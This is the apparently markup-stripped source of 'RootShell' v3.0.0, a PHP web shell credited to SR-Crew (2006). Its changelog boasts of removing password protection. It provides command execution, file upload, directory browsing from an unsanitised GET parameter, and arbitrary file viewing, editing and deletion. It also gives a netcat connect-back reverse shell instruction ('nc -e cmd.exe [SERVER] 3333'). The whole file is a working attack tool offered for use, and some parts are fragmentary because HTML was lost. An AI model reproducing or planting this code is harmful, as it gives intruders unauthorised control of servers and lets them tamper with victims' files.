// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ................jdWMMMMMNk&,...JjdMMMHMMHA+................
// .^.^.^.^.^.^..JdMMMBC:vHMMNI..`dMMM8C`ZMMMNs...^^.^^.^^.^^.
// ..^.^..^.....dMMMBC`....dHNn...dMNI....`vMMMNy.........^...
// .....^..?XMMMMMBC!..dMM@MMMMMMM#MMH@MNZ,^!OMMHMMNk!..^...^.
// ^^.^..^.`??????!`JdN0??!??1OUUVT??????XQy!`??????!`..^..^.^
// ..^..^.....^..^..?WN0`` ` +llz:` .dHR:..^.......^..^...
// ...^..^.^.^..^...`?UXQQQQQeyltOOagQQQeZVz`..^.^^..^..^..^..
// ^.^..^..^..^..^.^..`zWMMMMH0llOXHMMMM9C`..^.....^..^..^..^.
// ..^..^...^..+....^...`zHHWAwtltwAXH8I....^...?+....^...^..^
// ...^..^...JdMk&...^.^..^zHNkAAwWMHc...^.....jWNk+....^..^..
// ^.^..^..JdMMMMNHo....^..jHMMMMMMMHl.^..^..jWMMMMNk+...^..^.
// .^....jdNMM9+4MMNmo...?+zZV7???1wZO+.^..ddMMM6?WMMNmc..^..^
// ^.^.jqNMM9C!^??UMMNmmmkOltOz+++zltlOzjQQNMMY?!`??WMNNmc^.^.
// ummQHMM9C!.uQo.??WMMMMNNQQkI!!?wqQQQQHMMMYC!.umx.?7WMNHmmmo
// OUUUUU6:.jgWNNmx,`OUWHHHHHSI..?wWHHHHHW9C!.udMNHAx.?XUUUU9C
// .......+dWMMMMMNm+,`+ltltlzz??+1lltltv+^.jdMMMMMMHA+......^
// ..^..JdMMMMC`vMMMNkJuAAAAAy+...+uAAAAA&JdMMMBC`dMMMHs....^.
// ....dMMMMC``.``zHMMMMMMMMMMS==zXMMMMMMMMMM8v``.`?ZMMMNs....
// dMMMMMBC!`.....`!?????1OVVCz^^`+OVVC??????!`....^`?vMMMMMNk
// ??????!`....^.........?ztlOz+++zlltz!........^.....???????!
// .....^.^^.^..^.^^...uQQHkwz+!!!+zwWHmmo...^.^.^^.^..^....^.
// ^^.^.....^.^..^...ugHMMMNkz1++++zXMMMMHmx..^....^.^..^.^..^
// ..^.^.^.....^...jdHMMMMM9C???????wWMMMMMHn+...^....^..^..^.
// ^....^.^.^....JdMMMMMMHIz+.......?zdHMMMMMNA....^..^...^..^
// .^.^....^...JdMMMMMMHZttOz1111111zlttwWMMMMMNn..^.^..^..^..
// ..^.^.^....dNMMMMMWOOtllz!^^^^^^^+1lttOZWMMMMMNA,....^..^..
// ^....^..?dNMMMMMC?1ltllllzzzzzzzzzlllltlz?XMMMMNNk+^..^..^.
// .^.^..+dNMM8T77?!`+lllz!!!!!!!!!!!!+1tll+`??777HMNHm;..^..^
// ..^..^jHMMNS`..^.`+ltlz+++++++++++++ztll+`....`dMMMHl.^..^.
// ....^.jHMMNS`^...`+ltlz+++++++++++++zltl+`^.^.`dMMMHl..^..^
// ^^.^..jHMMNS`.^.^`+tllz+...........?+ltl+`.^..`dMMMHl...^..
// ..^..^jHMMM6`..^.`+lltltltlz111zltlltlll+`...^`dMMMHl.^..^.
// ....^.jHNC``.^...`+zltlltlz+^^.+zltlltzz+`..^.^`?dMHl..^..^
// .^.^..jHNI....^..^``+zltltlzzzzzltltlv!``.^...^..dMHc....^.
// ^...jdNMMNmo...^...^`?+ztlltllltlltz!``..^.^...dqNMMNmc.^..
// .^.`?7TTTTC!`..^.....^`?!!!!!!!!!!!!`..^....^.`?7TTTTC!..^.
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// We should take care some kind of history, i will add here to keep a trace of changes (who made it).
// Also I think we should increase the last version number by 1 if you make some changes.
//
// CHANGES / VERSION HISTORY:
// ====================================================================================
// Version Nick Description
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
// 0.3.1 666 added an ascii bug
// 0.3.1 666 password protection
// 0.3.1 666 GET and POST changes
// 0.3.2 666 coded a new uploader
// 0.3.2 666 new password protection
// 0.3.3 666 added a lot of comments
// 0.3.3 666 added "Server Info"
// 1.0.0 666 added "File Inclusion"
// 1.0.0 666 removed password protection (nobody needs it...)
// 1.0.0 666 added "Files & Directories"
// 1.3.3 666 added "File Editor"
// 2.0.0 666 added "Notices"
// 2.0.0 666 added some new modules
// 2.0.0 666 made some design updates
// 2.0.1 lama removed include & dir listing
// 2.0.1 lama added dir & file stuff
// 2.0.2 666 made some new features...
// 2.0.2 666 tuned up the fileviewer
// 3.0.0 666 added "Remove Shell"
//
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//
// Default Changes
//
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$owner = "SR-Crew"; // Insert your nick
$version = "3.0.0"; // The version

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//
?>

 ____ _ ____ _ _ _
| _ \ ___ ___ | |_ / ___|| |__ ___| | |
| |_) / _ \ / _ \| __| \___ \| '_ \ / _ \ | |
| _ < (_) | (_) | |_ _ ___) | | | | __/ | |
|_| \_\___/ \___/ \__| (_) |____/|_| |_|\___|_|_|



// Get Dir Var
$dir = $_GET["d"];
if(!isset($dir)) {
$dir = "./";
}

// Check for safe mode
if( ini_get('safe_mode') ) {
print 'Safe Mode ON';
} else {
print 'Safe Mode OFF';
}

?>
 

!

 

[ Server Info ]

Current Directory:


Shell:


Server Software:

Server Name:

Server Protocol:

[ Command Execute ]

[ File Upload ]



Insert your commands here:


 

Info: For a connect
back Shell, use: nc -e cmd.exe [SERVER] 3333

after local command: nc -v -l -p 3333 (Windows)

Here you can upload some files.

 


 

function check_file()
{
global $file_name, $filename;
$backupstring = "copy_of_";
$filename = $backupstring."$filename";

if( file_exists($filename))
{
check_file();
}
}

if(!empty($file))
{
$filename = $file_name;
if( file_exists($file_name))
{
check_file();
echo "

File already exist

";
}

else
{
copy($file,"$filename");
if( file_exists($filename))
{
echo "

File uploaded successful

";
}
elseif(! file_exists($filename))
{
echo "

File not found

";
}
}
}
?>

[ Directories ]

[ File Viewer ]

if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if ((filetype($dir . $file)) == "dir") {
echo "".$file."
\n";
} else {
echo "".$file."
\n";
}
}
closedir($dh);
}
}
?>

 


 

[ File Editor ]

[ Notices ]

$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];

if($_POST["submit"] == "Open")
{
if(file_exists($filename))
{
$filecontents = htmlentities(file_get_contents($filename));

if(!$filecontents)
$status = "Error or No contents in file";
}
else
$status = "File does not exist!";
}
else if($_POST["submit"] == "Delete")
{
if(file_exists($filename))
{
if(unlink($filename))
$status = "File successfully deleted!";
else
$status = "Could not delete file!";
}
else
$status = "File does not exist!";
}
else if($_POST["submit"] == "Save")
{
$filecontents = stripslashes(html_entity_decode($_POST["contents"]));

if(file_exists($filename))
unlink($filename);

$handle = fopen($filename, "w");

if(!$handle)
$status = "Could not open file for write access! ";
else
{
if(!fwrite($handle, $filecontents))
$status = $status."Could not write to file! (Maybe you didn't enter any text?)";

fclose($handle);
}

$filecontents = htmlentities($filecontents);
}
else
{
$status = "No file loaded!";
}
?>






 

[ Remove Shell ]

Type "remove"
to remove the RootShell


alert('Thank you for using the RootShell!');self.location.href='http://www.sr-crew.org';"; } ?>

Rootshell v © 2006 by SR-Crew